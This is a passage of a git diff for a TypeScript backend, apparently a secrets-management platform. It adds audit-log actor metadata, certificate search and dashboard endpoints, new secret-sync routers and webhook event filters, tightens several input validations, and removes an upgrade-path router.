               code: z.ZodIssueCode.custom,
-              message: "When token review mode is set to Gateway, a gateway must be selected"
+              message: "When token review mode is set to Gateway, a gateway or gateway pool must be selected"
+            });
+          }
+          if (data.gatewayId && data.gatewayPoolId) {
+            ctx.addIssue({
+              path: ["gatewayPoolId"],
+              code: z.ZodIssueCode.custom,
+              message: "Cannot specify both a gateway and a gateway pool"
             });
           }
           if (data.accessTokenMaxTTL && data.accessTokenTTL ? data.accessTokenTTL > data.accessTokenMaxTTL : false) {
diff --git a/backend/src/server/routes/v1/identity-ldap-auth-router.ts b/backend/src/server/routes/v1/identity-ldap-auth-router.ts
index 8c67c0cf895..82d3ba4a6a6 100644
--- a/backend/src/server/routes/v1/identity-ldap-auth-router.ts
+++ b/backend/src/server/routes/v1/identity-ldap-auth-router.ts
@@ -195,6 +195,13 @@ export const registerIdentityLdapAuthRouter = async (server: FastifyZodProvider)
 
         await server.services.auditLog.createAuditLog({
           ...req.auditLogInfo,
+          actor: {
+            type: ActorType.IDENTITY,
+            metadata: {
+              identityId: authIdentityId,
+              name: identity.name
+            }
+          },
           orgId: identity.orgId,
           event: {
             type: EventType.LOGIN_IDENTITY_LDAP_AUTH,
diff --git a/backend/src/server/routes/v1/identity-oci-auth-router.ts b/backend/src/server/routes/v1/identity-oci-auth-router.ts
index 51af55c00bf..05a41994c3b 100644
--- a/backend/src/server/routes/v1/identity-oci-auth-router.ts
+++ b/backend/src/server/routes/v1/identity-oci-auth-router.ts
@@ -65,6 +65,13 @@ export const registerIdentityOciAuthRouter = async (server: FastifyZodProvider)
 
         await server.services.auditLog.createAuditLog({
           ...req.auditLogInfo,
+          actor: {
+            type: ActorType.IDENTITY,
+            metadata: {
+              identityId: identityOciAuth.identityId,
+              name: identity.name
+            }
+          },
           orgId: identity.orgId,
           event: {
             type: EventType.LOGIN_IDENTITY_OCI_AUTH,
diff --git a/backend/src/server/routes/v1/identity-oidc-auth-router.ts b/backend/src/server/routes/v1/identity-oidc-auth-router.ts
index 37c4b26704b..43e7c5f738f 100644
--- a/backend/src/server/routes/v1/identity-oidc-auth-router.ts
+++ b/backend/src/server/routes/v1/identity-oidc-auth-router.ts
@@ -72,6 +72,13 @@ export const registerIdentityOidcAuthRouter = async (server: FastifyZodProvider)
 
         await server.services.auditLog.createAuditLog({
           ...req.auditLogInfo,
+          actor: {
+            type: ActorType.IDENTITY,
+            metadata: {
+              identityId: identityOidcAuth.identityId,
+              name: identity.name
+            }
+          },
           orgId: identity.orgId,
           event: {
             type: EventType.LOGIN_IDENTITY_OIDC_AUTH,
diff --git a/backend/src/server/routes/v1/identity-spiffe-auth-router.ts b/backend/src/server/routes/v1/identity-spiffe-auth-router.ts
index 132005a1f91..c540bf51d2e 100644
--- a/backend/src/server/routes/v1/identity-spiffe-auth-router.ts
+++ b/backend/src/server/routes/v1/identity-spiffe-auth-router.ts
@@ -136,6 +136,13 @@ export const registerIdentitySpiffeAuthRouter = async (server: FastifyZodProvide
 
         await server.services.auditLog.createAuditLog({
           ...req.auditLogInfo,
+          actor: {
+            type: ActorType.IDENTITY,
+            metadata: {
+              identityId: identitySpiffeAuth.identityId,
+              name: identity.name
+            }
+          },
           orgId: identity.orgId,
           event: {
             type: EventType.LOGIN_IDENTITY_SPIFFE_AUTH,
diff --git a/backend/src/server/routes/v1/identity-tls-cert-auth-router.ts b/backend/src/server/routes/v1/identity-tls-cert-auth-router.ts
index b7eafb6bcc6..572951b4e60 100644
--- a/backend/src/server/routes/v1/identity-tls-cert-auth-router.ts
+++ b/backend/src/server/routes/v1/identity-tls-cert-auth-router.ts
@@ -79,6 +79,13 @@ export const registerIdentityTlsCertAuthRouter = async (server: FastifyZodProvid
 
         await server.services.auditLog.createAuditLog({
           ...req.auditLogInfo,
+          actor: {
+            type: ActorType.IDENTITY,
+            metadata: {
+              identityId: identityTlsCertAuth.identityId,
+              name: identity.name
+            }
+          },
           orgId: identity.orgId,
           event: {
             type: EventType.LOGIN_IDENTITY_TLS_CERT_AUTH,
diff --git a/backend/src/server/routes/v1/identity-universal-auth-router.ts b/backend/src/server/routes/v1/identity-universal-auth-router.ts
index fe0d62e12fd..cbbb70af6c8 100644
--- a/backend/src/server/routes/v1/identity-universal-auth-router.ts
+++ b/backend/src/server/routes/v1/identity-universal-auth-router.ts
@@ -72,6 +72,13 @@ export const registerIdentityUaRouter = async (server: FastifyZodProvider) => {
 
         await server.services.auditLog.createAuditLog({
           ...req.auditLogInfo,
+          actor: {
+            type: ActorType.IDENTITY,
+            metadata: {
+              identityId: identityUa.identityId,
+              name: identity.name
+            }
+          },
           orgId: identity.orgId,
           event: {
             type: EventType.LOGIN_IDENTITY_UNIVERSAL_AUTH,
diff --git a/backend/src/server/routes/v1/index.ts b/backend/src/server/routes/v1/index.ts
index c00256cc400..1eafb60492c 100644
--- a/backend/src/server/routes/v1/index.ts
+++ b/backend/src/server/routes/v1/index.ts
@@ -15,6 +15,7 @@ import { registerCaRouter } from "./certificate-authority-router";
 import { CERTIFICATE_AUTHORITY_REGISTER_ROUTER_MAP } from "./certificate-authority-routers";
 import { registerGeneralCertificateAuthorityRouter } from "./certificate-authority-routers/general-certificate-authority-router";
 import { registerCertificateCleanupRouter } from "./certificate-cleanup-router";
+import { registerCertificateInventoryViewRouter } from "./certificate-inventory-view-router";
 import { registerCertificatePolicyRouter } from "./certificate-policy-router";
 import { registerCertificateProfilesRouter } from "./certificate-profiles-router";
 import { registerCertificateRouter } from "./certificate-router";
@@ -78,7 +79,6 @@ import { registerSecretValidationRuleRouter } from "./secret-validation-rule-rou
 import { registerSignerRouter } from "./signer-router";
 import { registerSlackRouter } from "./slack-router";
 import { registerSsoRouter } from "./sso-router";
-import { registerUpgradePathRouter } from "./upgrade-path-router";
 import { registerUserActionRouter } from "./user-action-router";
 import { registerUserEngagementRouter } from "./user-engagement-router";
 import { registerUserRouter } from "./user-router";
@@ -152,6 +152,7 @@ export const registerV1Routes = async (server: FastifyZodProvider) => {
   await server.register(
     async (projectRouter) => {
       await projectRouter.register(registerProjectRouter);
+      await projectRouter.register(registerCertificateInventoryViewRouter);
       await projectRouter.register(registerProjectMembershipRouter);
       await projectRouter.register(registerProjectIdentityRouter);
       await projectRouter.register(registerProjectEnvRouter);
@@ -314,8 +315,6 @@ export const registerV1Routes = async (server: FastifyZodProvider) => {
   );
 
   await server.register(registerEventRouter, { prefix: "/events" });
-  await server.register(registerUpgradePathRouter, { prefix: "/upgrade-path" });
-
   await server.register(
     async (approvalPolicyRouter) => {
       // Register policy type-specific endpoints
diff --git a/backend/src/server/routes/v1/integration-router.ts b/backend/src/server/routes/v1/integration-router.ts
index 8654c215a5e..f7954b7a19c 100644
--- a/backend/src/server/routes/v1/integration-router.ts
+++ b/backend/src/server/routes/v1/integration-router.ts
@@ -53,7 +53,7 @@ export const registerIntegrationRouter = async (server: FastifyZodProvider) => {
         targetService: z.string().trim().optional().describe(INTEGRATION.CREATE.targetService),
         targetServiceId: z.string().trim().optional().describe(INTEGRATION.CREATE.targetServiceId),
         owner: z.string().trim().optional().describe(INTEGRATION.CREATE.owner),
-        url: z.string().trim().optional().describe(INTEGRATION.CREATE.url),
+        url: z.string().trim().url().optional().describe(INTEGRATION.CREATE.url),
         path: z.string().trim().optional().describe(INTEGRATION.CREATE.path),
         region: z.string().trim().optional().describe(INTEGRATION.CREATE.region),
         scope: z.string().trim().optional().describe(INTEGRATION.CREATE.scope),
diff --git a/backend/src/server/routes/v1/invite-org-router.ts b/backend/src/server/routes/v1/invite-org-router.ts
index 55cd5f892da..416775fab28 100644
--- a/backend/src/server/routes/v1/invite-org-router.ts
+++ b/backend/src/server/routes/v1/invite-org-router.ts
@@ -22,6 +22,7 @@ export const registerInviteOrgRouter = async (server: FastifyZodProvider) => {
           .trim()
           .email()
           .array()
+          .max(100)
           .refine((val) => val.every((el) => el === el.toLowerCase()), "Email must be lowercase"),
         organizationId: z.string().trim(),
         organizationRoleSlug: z.string().default(OrgMembershipRole.Member)
diff --git a/backend/src/server/routes/v1/microsoft-teams-router.ts b/backend/src/server/routes/v1/microsoft-teams-router.ts
index d0905c23bc8..9928ae82ce8 100644
--- a/backend/src/server/routes/v1/microsoft-teams-router.ts
+++ b/backend/src/server/routes/v1/microsoft-teams-router.ts
@@ -376,6 +376,9 @@ export const registerMicrosoftTeamsRouter = async (server: FastifyZodProvider) =
   server.route({
     method: "POST",
     url: "/message-endpoint",
+    config: {
+      rateLimit: writeLimit
+    },
     schema: {
       operationId: "handleMicrosoftTeamsMessageEndpoint",
       body: z.any(),
diff --git a/backend/src/server/routes/v1/organization-memberships-router.ts b/backend/src/server/routes/v1/organization-memberships-router.ts
index 34e45196308..e64831ec0d7 100644
--- a/backend/src/server/routes/v1/organization-memberships-router.ts
+++ b/backend/src/server/routes/v1/organization-memberships-router.ts
@@ -3,9 +3,11 @@ import { z } from "zod";
 import { AccessScope, GroupsSchema, TemporaryPermissionMode } from "@app/db/schemas";
 import { ApiDocsTags } from "@app/lib/api-docs";
 import { ms } from "@app/lib/ms";
+import { OrderByDirection } from "@app/lib/types";
 import { readLimit, writeLimit } from "@app/server/config/rateLimiter";
 import { verifyAuth } from "@app/server/plugins/auth/verify-auth";
 import { AuthMode } from "@app/services/auth/auth-type";
+import { OrgGroupsOrderBy } from "@app/services/membership-group/membership-group-types";
 
 /**
  * Organization group memberships.
@@ -54,7 +56,14 @@ export const registerOrganizationMembershipsRouter = async (server: FastifyZodPr
       security: [{ bearerAuth: [] }],
       querystring: z.object({
         limit: z.coerce.number().min(1).max(100).default(100).optional(),
-        offset: z.coerce.number().min(0).default(0).optional()
+        offset: z.coerce.number().min(0).default(0).optional(),
+        search: z.string().optional(),
+        roles: z
+          .union([z.string(), z.array(z.string())])
+          .transform((v) => (typeof v === "string" ? [v] : v))
+          .optional(),
+        orderBy: z.nativeEnum(OrgGroupsOrderBy).optional(),
+        orderDirection: z.nativeEnum(OrderByDirection).optional()
       }),
       response: {
         200: z.object({
@@ -72,7 +81,11 @@ export const registerOrganizationMembershipsRouter = async (server: FastifyZodPr
         },
         data: {
           limit: req.query.limit,
-          offset: req.query.offset
+          offset: req.query.offset,
+          search: req.query.search,
+          roles: req.query.roles,
+          orderBy: req.query.orderBy,
+          orderDirection: req.query.orderDirection
         }
       });
 
diff --git a/backend/src/server/routes/v1/project-router.ts b/backend/src/server/routes/v1/project-router.ts
index 9bb2fb12979..26f505579d9 100644
--- a/backend/src/server/routes/v1/project-router.ts
+++ b/backend/src/server/routes/v1/project-router.ts
@@ -1306,18 +1306,46 @@ export const registerProjectRouter = async (server: FastifyZodProvider) => {
           )
           .optional()
           .describe(PROJECTS.SEARCH_CERTIFICATES.metadata),
-        extendedKeyUsage: z.string().trim().optional().describe(PROJECTS.SEARCH_CERTIFICATES.extendedKeyUsage)
+        extendedKeyUsage: z.string().trim().optional().describe(PROJECTS.SEARCH_CERTIFICATES.extendedKeyUsage),
+        keyAlgorithm: z
+          .union([z.string().trim(), z.array(z.string().trim())])
+          .optional()
+          .describe(PROJECTS.SEARCH_CERTIFICATES.keyAlgorithm),
+        signatureAlgorithm: z.string().trim().optional().describe(PROJECTS.SEARCH_CERTIFICATES.signatureAlgorithm),
+        keySizes: z.array(z.number()).optional().describe(PROJECTS.SEARCH_CERTIFICATES.keySizes),
+        caIds: z.array(z.string().uuid()).optional().describe(PROJECTS.SEARCH_CERTIFICATES.caIds),
+        enrollmentTypes: z.array(z.string().trim()).optional().describe(PROJECTS.SEARCH_CERTIFICATES.enrollmentTypes),
+        source: z
+          .union([z.string().trim(), z.array(z.string().trim())])
+          .optional()
+          .describe(PROJECTS.SEARCH_CERTIFICATES.source),
+        notAfterFrom: z.coerce.date().optional().describe(PROJECTS.SEARCH_CERTIFICATES.notAfterFrom),
+        notAfterTo: z.coerce.date().optional().describe(PROJECTS.SEARCH_CERTIFICATES.notAfterTo),
+        notBeforeFrom: z.coerce.date().optional().describe(PROJECTS.SEARCH_CERTIFICATES.notBeforeFrom),
+        notBeforeTo: z.coerce.date().optional().describe(PROJECTS.SEARCH_CERTIFICATES.notBeforeTo),
+        sortBy: z
+          .enum(["notAfter", "notBefore", "createdAt", "commonName", "keyAlgorithm", "status"])
+          .optional()
+          .describe(PROJECTS.SEARCH_CERTIFICATES.sortBy),
+        sortOrder: z.enum(["asc", "desc"]).optional().describe(PROJECTS.SEARCH_CERTIFICATES.sortOrder)
       }),
       response: {
         200: z.object({
-          certificates: z.array(CertificatesSchema.extend({ hasPrivateKey: z.boolean() })),
+          certificates: z.array(
+            CertificatesSchema.extend({
+              hasPrivateKey: z.boolean(),
+              caName: z.string().nullable().optional(),
+              profileName: z.string().nullable().optional(),
+              enrollmentType: z.string().nullable().optional()
+            })
+          ),
           totalCount: z.number()
         })
       }
     },
     onRequest: verifyAuth([AuthMode.JWT, AuthMode.IDENTITY_ACCESS_TOKEN]),
     handler: async (req) => {
-      const { metadata, ...filters } = req.body;
+      const { metadata, sortBy, sortOrder, ...filters } = req.body;
       const { certificates, totalCount } = await server.services.project.listProjectCertificates({
         filter: {
           projectId: req.params.projectId,
@@ -1328,12 +1356,157 @@ export const registerProjectRouter = async (server: FastifyZodProvider) => {
         actorAuthMethod: req.permission.authMethod,
         actor: req.permission.type,
         ...filters,
-        metadataFilter: metadata
+        metadataFilter: metadata,
+        sortBy,
+        sortOrder
       });
       return { certificates, totalCount };
     }
   });
 
+  server.route({
+    method: "GET",
+    url: "/:projectId/certificates/dashboard-stats",
+    config: {
+      rateLimit: readLimit
+    },
+    schema: {
+      hide: true,
+      operationId: "getCertificateDashboardStats",
+      tags: [ApiDocsTags.PkiCertificates],
+      description: "Get aggregated dashboard statistics for certificates in a project.",
+      params: z.object({
+        projectId: z.string().trim()
+      }),
+      response: {
+        200: z.object({
+          totals: z.object({
+            total: z.number(),
+            active: z.number(),
+            expiringSoon: z.number(),
+            expired: z.number(),
+            revoked: z.number()
+          }),
+          expiringSoonNoAutoRenewal: z.number(),
+          expiredNotRenewed: z.number(),
+          distributions: z.object({
+            byEnrollmentMethod: z.array(z.object({ label: z.string(), count: z.number() })),
+            byAlgorithm: z.array(z.object({ label: z.string(), count: z.number() })),
+            byCA: z.array(z.object({ id: z.string(), label: z.string(), count: z.number() })),
+            byStatus: z.array(z.object({ label: z.string(), count: z.number() }))
+          }),
+          expirationBuckets: z.array(z.object({ bucket: z.string(), count: z.number() })),
+          validityBuckets: z.array(z.object({ bucket: z.string(), count: z.number() }))
+        })
+      }
+    },
+    onRequest: verifyAuth([AuthMode.JWT, AuthMode.IDENTITY_ACCESS_TOKEN]),
+    handler: async (req) => {
+      return server.services.project.getDashboardStats({
+        filter: {
+          projectId: req.params.projectId,
+          type: ProjectFilterType.ID
+        },
+        actorId: req.permission.id,
+        actorOrgId: req.permission.orgId,
+        actorAuthMethod: req.permission.authMethod,
+        actor: req.permission.type
+      });
+    }
+  });
+
+  server.route({
+    method: "GET",
+    url: "/:projectId/certificates/activity-trend",
+    config: {
+      rateLimit: readLimit
+    },
+    schema: {
+      hide: true,
+      operationId: "getCertificateActivityTrend",
+      tags: [ApiDocsTags.PkiCertificates],
+      description: "Get certificate lifecycle activity trend over time.",
+      params: z.object({
+        projectId: z.string().trim()
+      }),
+      querystring: z.object({
+        range: z.enum(["7d", "30d", "6m"]).optional().default("30d")
+      }),
+      response: {
+        200: z.object({
+          periods: z.array(
+            z.object({
+              period: z.string(),
+              issued: z.number(),
+              expired: z.number(),
+              revoked: z.number(),
+              renewed: z.number()
+            })
+          )
+        })
+      }
+    },
+    onRequest: verifyAuth([AuthMode.JWT, AuthMode.IDENTITY_ACCESS_TOKEN]),
+    handler: async (req) => {
+      return server.services.project.getActivityTrend({
+        filter: {
+          projectId: req.params.projectId,
+          type: ProjectFilterType.ID
+        },
+        range: req.query.range,
+        actorId: req.permission.id,
+        actorOrgId: req.permission.orgId,
+        actorAuthMethod: req.permission.authMethod,
+        actor: req.permission.type
+      });
+    }
+  });
+
+  server.route({
+    method: "GET",
+    url: "/:projectId/certificates/pqc-trend",
+    config: {
+      rateLimit: readLimit
+    },
+    schema: {
+      hide: true,
+      operationId: "getCertificatePqcTrend",
+      tags: [ApiDocsTags.PkiCertificates],
+      description: "Get certificate PQC adoption trend over time.",
+      params: z.object({
+        projectId: z.string().trim()
+      }),
+      querystring: z.object({
+        range: z.enum(["7d", "30d", "6m"]).optional().default("30d")
+      }),
+      response: {
+        200: z.object({
+          periods: z.array(
+            z.object({
+              period: z.string(),
+              pqc: z.number(),
+              nonPqc: z.number()
+            })
+          )
+        })
+      }
+    },
+    onRequest: verifyAuth([AuthMode.JWT, AuthMode.IDENTITY_ACCESS_TOKEN]),
+    handler: async (req) => {
+      return server.services.project.getPqcTrend({
+        filter: {
+          projectId: req.params.projectId,
+          type: ProjectFilterType.ID
+        },
+        range: req.query.range,
+        actorId: req.permission.id,
+        actorOrgId: req.permission.orgId,
+        actorAuthMethod: req.permission.authMethod,
+        actor: req.permission.type
+      });
+    }
+  });
+
   server.route({
     method: "GET",
     url: "/:projectId/pki-alerts",
diff --git a/backend/src/server/routes/v1/secret-sync-routers/index.ts b/backend/src/server/routes/v1/secret-sync-routers/index.ts
index abe6d17f251..b2b04436a4d 100644
--- a/backend/src/server/routes/v1/secret-sync-routers/index.ts
+++ b/backend/src/server/routes/v1/secret-sync-routers/index.ts
@@ -29,11 +29,13 @@ import { registerLaravelForgeSyncRouter } from "./laravel-forge-sync-router";
 import { registerNetlifySyncRouter } from "./netlify-sync-router";
 import { registerNorthflankSyncRouter } from "./northflank-sync-router";
 import { registerOctopusDeploySyncRouter } from "./octopus-deploy-sync-router";
+import { registerOnaSyncRouter } from "./ona-sync-router";
 import { registerRailwaySyncRouter } from "./railway-sync-router";
 import { registerRenderSyncRouter } from "./render-sync-router";
 import { registerSupabaseSyncRouter } from "./supabase-sync-router";
 import { registerTeamCitySyncRouter } from "./teamcity-sync-router";
 import { registerTerraformCloudSyncRouter } from "./terraform-cloud-sync-router";
+import { registerTravisCISyncRouter } from "./travis-ci-sync-router";
 import { registerVercelSyncRouter } from "./vercel-sync-router";
 import { registerWindmillSyncRouter } from "./windmill-sync-router";
 import { registerZabbixSyncRouter } from "./zabbix-sync-router";
@@ -77,5 +79,7 @@ export const SECRET_SYNC_REGISTER_ROUTER_MAP: Record<SecretSync, (server: Fastif
   [SecretSync.OctopusDeploy]: registerOctopusDeploySyncRouter,
   [SecretSync.CircleCI]: registerCircleCISyncRouter,
   [SecretSync.AzureEntraIdScim]: registerAzureEntraIdScimSyncRouter,
-  [SecretSync.ExternalInfisical]: registerExternalInfisicalSyncRouter
+  [SecretSync.ExternalInfisical]: registerExternalInfisicalSyncRouter,
+  [SecretSync.Ona]: registerOnaSyncRouter,
+  [SecretSync.TravisCI]: registerTravisCISyncRouter
 };
diff --git a/backend/src/server/routes/v1/secret-sync-routers/ona-sync-router.ts b/backend/src/server/routes/v1/secret-sync-routers/ona-sync-router.ts
new file mode 100644
index 00000000000..59161fbcb24
--- /dev/null
+++ b/backend/src/server/routes/v1/secret-sync-routers/ona-sync-router.ts
@@ -0,0 +1,13 @@
+import { CreateOnaSyncSchema, OnaSyncSchema, UpdateOnaSyncSchema } from "@app/services/secret-sync/ona";
+import { SecretSync } from "@app/services/secret-sync/secret-sync-enums";
+
+import { registerSyncSecretsEndpoints } from "./secret-sync-endpoints";
+
+export const registerOnaSyncRouter = async (server: FastifyZodProvider) =>
+  registerSyncSecretsEndpoints({
+    destination: SecretSync.Ona,
+    server,
+    responseSchema: OnaSyncSchema,
+    createSchema: CreateOnaSyncSchema,
+    updateSchema: UpdateOnaSyncSchema
+  });
diff --git a/backend/src/server/routes/v1/secret-sync-routers/secret-sync-endpoints.ts b/backend/src/server/routes/v1/secret-sync-routers/secret-sync-endpoints.ts
index 9ef59182adb..801bb7068ab 100644
--- a/backend/src/server/routes/v1/secret-sync-routers/secret-sync-endpoints.ts
+++ b/backend/src/server/routes/v1/secret-sync-routers/secret-sync-endpoints.ts
@@ -48,7 +48,8 @@ export const registerSyncSecretsEndpoints = <T extends TSecretSync, I extends TS
   const specialCases: Record<string, string> = {
     [SecretSync.OnePass]: "OnePassword",
     [SecretSync.GitHub]: "GitHub",
-    [SecretSync.GitLab]: "GitLab"
+    [SecretSync.GitLab]: "GitLab",
+    [SecretSync.TravisCI]: "TravisCI"
   };
   const destinationNameForOpId =
     specialCases[destination] ??
diff --git a/backend/src/server/routes/v1/secret-sync-routers/secret-sync-router.ts b/backend/src/server/routes/v1/secret-sync-routers/secret-sync-router.ts
index 5b10c51756f..5981d633a7e 100644
--- a/backend/src/server/routes/v1/secret-sync-routers/secret-sync-router.ts
+++ b/backend/src/server/routes/v1/secret-sync-routers/secret-sync-router.ts
@@ -58,11 +58,13 @@ import { LaravelForgeSyncListItemSchema, LaravelForgeSyncSchema } from "@app/ser
 import { NetlifySyncListItemSchema, NetlifySyncSchema } from "@app/services/secret-sync/netlify";
 import { NorthflankSyncListItemSchema, NorthflankSyncSchema } from "@app/services/secret-sync/northflank";
 import { OctopusDeploySyncListItemSchema, OctopusDeploySyncSchema } from "@app/services/secret-sync/octopus-deploy";
+import { OnaSyncListItemSchema, OnaSyncSchema } from "@app/services/secret-sync/ona";
 import { RailwaySyncListItemSchema, RailwaySyncSchema } from "@app/services/secret-sync/railway/railway-sync-schemas";
 import { RenderSyncListItemSchema, RenderSyncSchema } from "@app/services/secret-sync/render/render-sync-schemas";
 import { SupabaseSyncListItemSchema, SupabaseSyncSchema } from "@app/services/secret-sync/supabase";
 import { TeamCitySyncListItemSchema, TeamCitySyncSchema } from "@app/services/secret-sync/teamcity";
 import { TerraformCloudSyncListItemSchema, TerraformCloudSyncSchema } from "@app/services/secret-sync/terraform-cloud";
+import { TravisCISyncListItemSchema, TravisCISyncSchema } from "@app/services/secret-sync/travis-ci";
 import { VercelSyncListItemSchema, VercelSyncSchema } from "@app/services/secret-sync/vercel";
 import { WindmillSyncListItemSchema, WindmillSyncSchema } from "@app/services/secret-sync/windmill";
 import { ZabbixSyncListItemSchema, ZabbixSyncSchema } from "@app/services/secret-sync/zabbix";
@@ -104,7 +106,9 @@ const SecretSyncSchema = z.discriminatedUnion("destination", [
   OctopusDeploySyncSchema,
   CircleCISyncSchema,
   AzureEntraIdScimSyncSchema,
-  ExternalInfisicalSyncSchema
+  ExternalInfisicalSyncSchema,
+  OnaSyncSchema,
+  TravisCISyncSchema
 ]);
 
 const SecretSyncOptionsSchema = z.discriminatedUnion("destination", [
@@ -144,7 +148,9 @@ const SecretSyncOptionsSchema = z.discriminatedUnion("destination", [
   OctopusDeploySyncListItemSchema,
   CircleCISyncListItemSchema,
   AzureEntraIdScimSyncListItemSchema,
-  ExternalInfisicalSyncListItemSchema
+  ExternalInfisicalSyncListItemSchema,
+  OnaSyncListItemSchema,
+  TravisCISyncListItemSchema
 ]);
 
 export const registerSecretSyncRouter = async (server: FastifyZodProvider) => {
diff --git a/backend/src/server/routes/v1/secret-sync-routers/travis-ci-sync-router.ts b/backend/src/server/routes/v1/secret-sync-routers/travis-ci-sync-router.ts
new file mode 100644
index 00000000000..cf4cc88158d
--- /dev/null
+++ b/backend/src/server/routes/v1/secret-sync-routers/travis-ci-sync-router.ts
@@ -0,0 +1,17 @@
+import { SecretSync } from "@app/services/secret-sync/secret-sync-enums";
+import {
+  CreateTravisCISyncSchema,
+  TravisCISyncSchema,
+  UpdateTravisCISyncSchema
+} from "@app/services/secret-sync/travis-ci";
+
+import { registerSyncSecretsEndpoints } from "./secret-sync-endpoints";
+
+export const registerTravisCISyncRouter = async (server: FastifyZodProvider) =>
+  registerSyncSecretsEndpoints({
+    destination: SecretSync.TravisCI,
+    server,
+    responseSchema: TravisCISyncSchema,
+    createSchema: CreateTravisCISyncSchema,
+    updateSchema: UpdateTravisCISyncSchema
+  });
diff --git a/backend/src/server/routes/v1/upgrade-path-router.ts b/backend/src/server/routes/v1/upgrade-path-router.ts
deleted file mode 100644
index 752118c7353..00000000000
--- a/backend/src/server/routes/v1/upgrade-path-router.ts
+++ /dev/null
@@ -1,119 +0,0 @@
-import { z } from "zod";
-
-import { BadRequestError } from "@app/lib/errors";
-import { logger } from "@app/lib/logger";
-import { publicEndpointLimit } from "@app/server/config/rateLimiter";
-import { versionSchema } from "@app/services/upgrade-path/upgrade-path-schemas";
-
-export const registerUpgradePathRouter = async (server: FastifyZodProvider) => {
-  server.route({
-    method: "GET",
-    url: "/versions",
-    config: {
-      rateLimit: publicEndpointLimit
-    },
-    schema: {
-      operationId: "listUpgradeVersions",
-      response: {
-        200: z.object({
-          versions: z.array(
-            z.object({
-              tagName: z.string(),
-              name: z.string(),
-              publishedAt: z.string(),
-              prerelease: z.boolean(),
-              draft: z.boolean()
-            })
-          )
-        })
-      }
-    },
-    handler: async (req) => {
-      try {
-        const versions = await req.server.services.upgradePath.getGitHubReleases();
-
-        return {
-          versions
-        };
-      } catch (error) {
-        logger.error(error, "Failed to fetch versions");
-        if (error instanceof z.ZodError) {
-          throw new BadRequestError({ message: "Invalid query parameters" });
-        }
-        throw new BadRequestError({ message: "Failed to fetch GitHub releases" });
-      }
-    }
-  });
-
-  server.route({
-    method: "POST",
-    url: "/calculate",
-    config: {
-      rateLimit: publicEndpointLimit
-    },
-    schema: {
-      operationId: "calculateUpgradePath",
-      body: z.object({
-        fromVersion: versionSchema,
-        toVersion: versionSchema
-      }),
-      response: {
-        200: z.object({
-          path: z.array(
-            z.object({
-              version: z.string(),
-              name: z.string(),
-              publishedAt: z.string(),
-              prerelease: z.boolean()
-            })
-          ),
-          breakingChanges: z.array(
-            z.object({
-              version: z.string(),
-              changes: z.array(
-                z.object({
-                  title: z.string(),
-                  description: z.string(),
-                  action: z.string()
-                })
-              )
-            })
-          ),
-          features: z.array(
-            z.object({
-              version: z.string(),
-              name: z.string(),
-              body: z.string(),
-              publishedAt: z.string()
-            })
-          ),
-          hasDbMigration: z.boolean(),
-          config: z.record(z.unknown())
-        })
-      }
-    },
-    handler: async (req) => {
-      try {
-        const { fromVersion, toVersion } = req.body;
-
-        const result = await req.server.services.upgradePath.calculateUpgradePath(fromVersion, toVersion);
-
-        logger.info(
-          { pathLength: result.path.length, hasBreaking: result.breakingChanges.length > 0 },
-          "Upgrade path calculated"
-        );
-
-        return result;
-      } catch (error) {
-        logger.error(error, "Failed to calculate upgrade path");
-        if (error instanceof z.ZodError) {
-          throw new BadRequestError({ message: `Invalid input: ${error.errors.map((e) => e.message).join(", ")}` });
-        }
-        if (error instanceof Error) {
-          throw new BadRequestError({ message: error.message });
-        }
-        throw new BadRequestError({ message: "Failed to calculate upgrade path" });
-      }
-    }
-  });
-};
diff --git a/backend/src/server/routes/v1/webhook-router.ts b/backend/src/server/routes/v1/webhook-router.ts
index f3b8804f1af..a4e80196a04 100644
--- a/backend/src/server/routes/v1/webhook-router.ts
+++ b/backend/src/server/routes/v1/webhook-router.ts
@@ -8,7 +8,11 @@ import { getTelemetryDistinctId } from "@app/server/lib/telemetry";
 import { verifyAuth } from "@app/server/plugins/auth/verify-auth";
 import { AuthMode } from "@app/services/auth/auth-type";
 import { PostHogEventTypes } from "@app/services/telemetry/telemetry-types";
-import { WebhookType } from "@app/services/webhook/webhook-types";
+import {
+  SUBSCRIBABLE_WEBHOOK_EVENTS,
+  TSubscribableWebhookEvent,
+  WebhookType
+} from "@app/services/webhook/webhook-types";
 
 export const sanitizedWebhookSchema = WebhooksSchema.pick({
   id: true,
@@ -26,7 +30,12 @@ export const sanitizedWebhookSchema = WebhooksSchema.pick({
     id: z.string(),
     name: z.string(),
     slug: z.string()
-  })
+  }),
+  eventsFilter: z.array(
+    z.object({
+      eventName: z.enum([...SUBSCRIBABLE_WEBHOOK_EVENTS] as [TSubscribableWebhookEvent, ...TSubscribableWebhookEvent[]])
+    })
+  )
 });
 
 export const registerWebhookRouter = async (server: FastifyZodProvider) => {
@@ -46,15 +55,28 @@ export const registerWebhookRouter = async (server: FastifyZodProvider) => {
           environment: z.string().trim(),
           webhookUrl: z.string().url().trim(),
           webhookSecretKey: z.string().trim().optional(),
-          secretPath: z.string().trim().default("/").transform(removeTrailingSlash)
+          secretPath: z.string().trim().default("/").transform(removeTrailingSlash),
+          eventsFilter: z
+            .array(
+              z.object({
+                eventName: z.enum([...SUBSCRIBABLE_WEBHOOK_EVENTS] as [
+                  TSubscribableWebhookEvent,
+                  ...TSubscribableWebhookEvent[]
+                ])
+              })
+            )
+            .optional()
         })
         .superRefine((data, ctx) => {
-          if (data.type === WebhookType.SLACK && !data.webhookUrl.includes("hooks.slack.com")) {
-            ctx.addIssue({
-              code: z.ZodIssueCode.custom,
-              message: "Incoming Webhook URL is invalid.",
-              path: ["webhookUrl"]
-            });
+          if (data.type === WebhookType.SLACK) {
+            const parsed = new URL(data.webhookUrl);
+            if (parsed.hostname !== "hooks.slack.com") {
+              ctx.addIssue({
+                code: z.ZodIssueCode.custom,
+                message: "Incoming Webhook URL is invalid.",
+                path: ["webhookUrl"]
+              });
+            }
           }
         }),
       response: {
@@ -82,7 +104,8 @@ export const registerWebhookRouter = async (server: FastifyZodProvider) => {
             environment: webhook.environment.slug,
             webhookId: webhook.id,
             isDisabled: webhook.isDisabled,
-            secretPath: webhook.secretPath
+            secretPath: webhook.secretPath,
+            eventsFilter: webhook.eventsFilter
           }
         }
       });
@@ -115,9 +138,23 @@ export const registerWebhookRouter = async (server: FastifyZodProvider) => {
       params: z.object({
         webhookId: z.string().trim()
       }),
-      body: z.object({
-        isDisabled: z.boolean().default(false)
-      }),
+      body: z
+        .object({
+          isDisabled: z.boolean().optional(),
+          eventsFilter: z
+            .array(
+              z.object({
